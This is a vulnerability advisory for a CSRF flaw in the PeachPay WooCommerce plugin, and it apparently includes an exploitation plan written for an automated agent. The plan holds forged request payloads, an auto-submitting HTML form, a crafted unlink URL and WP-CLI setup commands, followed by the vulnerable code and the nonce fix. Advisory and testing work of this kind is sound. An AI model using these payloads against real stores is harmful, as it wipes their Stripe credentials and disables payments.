PeachPay <= 1.120.46 - Cross-Site Request Forgery to Stripe Unlink
Description
The PeachPay — Payments & Express Checkout for WooCommerce (supports Stripe, PayPal, Square, Authorize.net, NMI) plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.120.46. This is due to missing or incorrect nonce validation on the peachpay_stripe_handle_admin_actions function. This makes it possible for unauthenticated attackers to permanently delete all stored Stripe credentials — including publishable keys, secret keys, webhook secrets, and Apple Pay configuration — from the WordPress database, disabling Stripe payment processing for the store via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:NTechnical Details
<=1.120.46What Changed in the Fix
Changes introduced in v1.120.47
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9618 (PeachPay CSRF to Stripe Unlink) ## 1. Vulnerability Summary The **PeachPay — Payments & Express Checkout for WooCommerce** plugin (up to 1.120.46) is vulnerable to **Cross-Site Request Forgery (CSRF)**. The vulnerability exists in the function `peachpay_…
Show full research plan
Exploitation Research Plan: CVE-2026-9618 (PeachPay CSRF to Stripe Unlink)
1. Vulnerability Summary
The PeachPay — Payments & Express Checkout for WooCommerce plugin (up to 1.120.46) is vulnerable to Cross-Site Request Forgery (CSRF). The vulnerability exists in the function peachpay_stripe_handle_admin_actions located in core/payments/stripe/functions.php (inferred). This function is responsible for administrative tasks related to the Stripe integration, such as unlinking the account or resetting credentials. Because the function fails to perform nonce validation (check_admin_referer or wp_verify_nonce), an attacker can trick an authenticated administrator into making a request that permanently deletes the store's Stripe configuration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-post.phpor/wp-admin/admin-ajax.php(or a catch-all hook onadmin_init). - Vulnerable Action: The function
peachpay_stripe_handle_admin_actionsis likely hooked toadmin_initoradmin_post_peachpay_stripe_admin_action. - Payload Parameter: Based on the description "Stripe Unlink", the request likely requires a parameter such as
action=peachpay_stripe_admin_actionand a sub-action likemethod=unlinkorpeachpay_stripe_action=unlink. - Authentication Required: The victim must be an authenticated Administrator. The attacker does not need any authentication.
- Preconditions: The store must have a Stripe account connected via the PeachPay plugin.
3. Code Flow
- Entry Point: The plugin registers
peachpay_stripe_handle_admin_actionsto a high-level hook. Based on typical PeachPay architecture, this is oftenadmin_initto handle redirects and processing before headers are sent. - Trigger: An administrator visits a URL (GET) or submits a form (POST) targeting the administrative action.
- Vulnerable Sink: The function
peachpay_stripe_handle_admin_actionsis reached. - Logic Path:
- The function checks for a specific parameter (e.g.,
$_GET['peachpay_stripe_action']). - It identifies the action as
unlink. - Crucially, it skips
check_admin_referer(). - It calls a method like
PeachPay_Stripe_Integration::unlink()ordelete_option().
- The function checks for a specific parameter (e.g.,
- Execution: The database options
peachpay_stripe_connect_id,peachpay_stripe_public_key,peachpay_stripe_secret_key, etc., are deleted.
4. Nonce Acquisition Strategy
According to the vulnerability description, this endpoint has missing or incorrect nonce validation.
- Missing Nonce: If the check is entirely missing, the exploit requires no nonce.
- Incorrect Validation: If the function checks for a nonce but uses a generic action string or fails to terminate on failure, a dummy nonce might be required.
Verification for the Agent:
- Check the registration of
peachpay_stripe_handle_admin_actions. Usegrep -r "peachpay_stripe_handle_admin_actions" .to find the hook. - If it is hooked to
admin_init, the exploit can likely be triggered via a simpleGETrequest to/wp-admin/. - If it is hooked to
admin_post_..., useadmin-post.php.
5. Exploitation Strategy
The goal is to trigger the "Unlink" functionality by tricking the admin browser into sending a request to the WordPress backend.
Step 1: Discover the exact Request format
The agent should look for the "Unlink" button in the PeachPay settings page to see the URL structure.
- Settings Page:
wp-admin/admin.php?page=peachpay-settings&tab=stripe(inferred). - Target URL Pattern (Inferred):
/wp-admin/admin-post.php?action=peachpay_stripe_unlink
Step 2: Formulate the CSRF Payload
A GET request is the most effective vector if the plugin handles the action on admin_init.
HTTP Request via http_request:
// Example of the forged request that an admin would unknowingly trigger
{
"method": "GET",
"url": "http://vulnerable-wp.local/wp-admin/admin-post.php?action=peachpay_stripe_admin_action&sub_action=unlink",
"headers": {
"Accept": "text/html"
}
}
If a POST is required, the agent should simulate an auto-submitting form:
<form id="exploit" action="http://vulnerable-wp.local/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="peachpay_stripe_admin_action" />
<input type="hidden" name="sub_action" value="unlink" />
</form>
<script>document.getElementById('exploit').submit();</script>
6. Test Data Setup
- Install WooCommerce & PeachPay: Ensure version <= 1.120.46.
- Mock Stripe Connection: PeachPay stores Stripe credentials in the
optionstable. Use WP-CLI to simulate a connected state:wp option update peachpay_stripe_connect_id "acct_12345" wp option update peachpay_stripe_public_key "pk_test_12345" wp option update peachpay_stripe_secret_key "sk_test_12345" wp option update peachpay_stripe_gateway_enabled "yes" - Verify State: Use
wp option get peachpay_stripe_connect_idto confirm data exists.
7. Expected Results
- Successful Exploit: The server processes the request and redirects the administrator.
- Database Impact: The Stripe-related options are removed from the
wp_optionstable. - Store Impact: Stripe is no longer available as a payment method at checkout.
8. Verification Steps
After performing the HTTP request as the administrator, run the following via WP-CLI:
# Check if the connection ID is gone
wp option get peachpay_stripe_connect_id
# Result should be: Error: Could not get 'peachpay_stripe_connect_id' option.
# Check if the gateway is disabled
wp option get peachpay_stripe_gateway_enabled
# Result should be: "no" (or the option is deleted)
9. Alternative Approaches
- Action variants: If
action=peachpay_stripe_admin_actionfails, search the source for any occurrences ofdelete_optionorupdate_optionwithin thecore/payments/stripe/directory to find the specific parameter that triggers the cleanup. - AJAX Endpoint: Check if the action is registered via
wp_ajax_peachpay_stripe_unlink. If so, target/wp-admin/admin-ajax.php. - Inferred Parameter Names: If
sub_actionormethoddoesn't work, common alternatives in PeachPay includepeachpay_action,task, orcmd. Usegrep -r "\$_GET" core/payments/stripe/to identify the exact key.
Summary
The PeachPay plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to 1.120.46. This allows an unauthenticated attacker to trick a logged-in administrator into clicking a link that permanently deletes the store's Stripe configuration, including secret keys and webhook secrets.
Vulnerable Code
// core/payments/stripe/functions.php around line 612 if ( isset( $_GET['unlink_stripe'] ) && PeachPay_Stripe_Integration::connected() ) { peachpay_unlink_stripe(); }
Security Fix
@@ -610,6 +610,15 @@ } if ( isset( $_GET['unlink_stripe'] ) && PeachPay_Stripe_Integration::connected() ) { + // Verify nonce to prevent CSRF attacks that could delete Stripe credentials. + if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_GET['_wpnonce'] ) ), 'peachpay-stripe-unlink' ) ) { + wp_die( esc_html__( 'Security check failed. Please try again.', 'peachpay-for-woocommerce' ) ); + } + + if ( ! current_user_can( 'manage_woocommerce' ) ) { + wp_die( esc_html__( 'You do not have permission to perform this action.', 'peachpay-for-woocommerce' ) ); + } + peachpay_unlink_stripe(); } }
Exploit Outline
The exploit leverages a missing CSRF check in the administrative Stripe handling logic. An attacker crafts a malicious URL (e.g., http://target-site.com/wp-admin/?unlink_stripe=1) and tricks an authenticated administrator into visiting it. Because the plugin does not validate a nonce or check for the 'manage_woocommerce' capability before executing the unlink action, the request triggers the deletion of the site's Stripe integration data, effectively disabling payment processing for the store.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.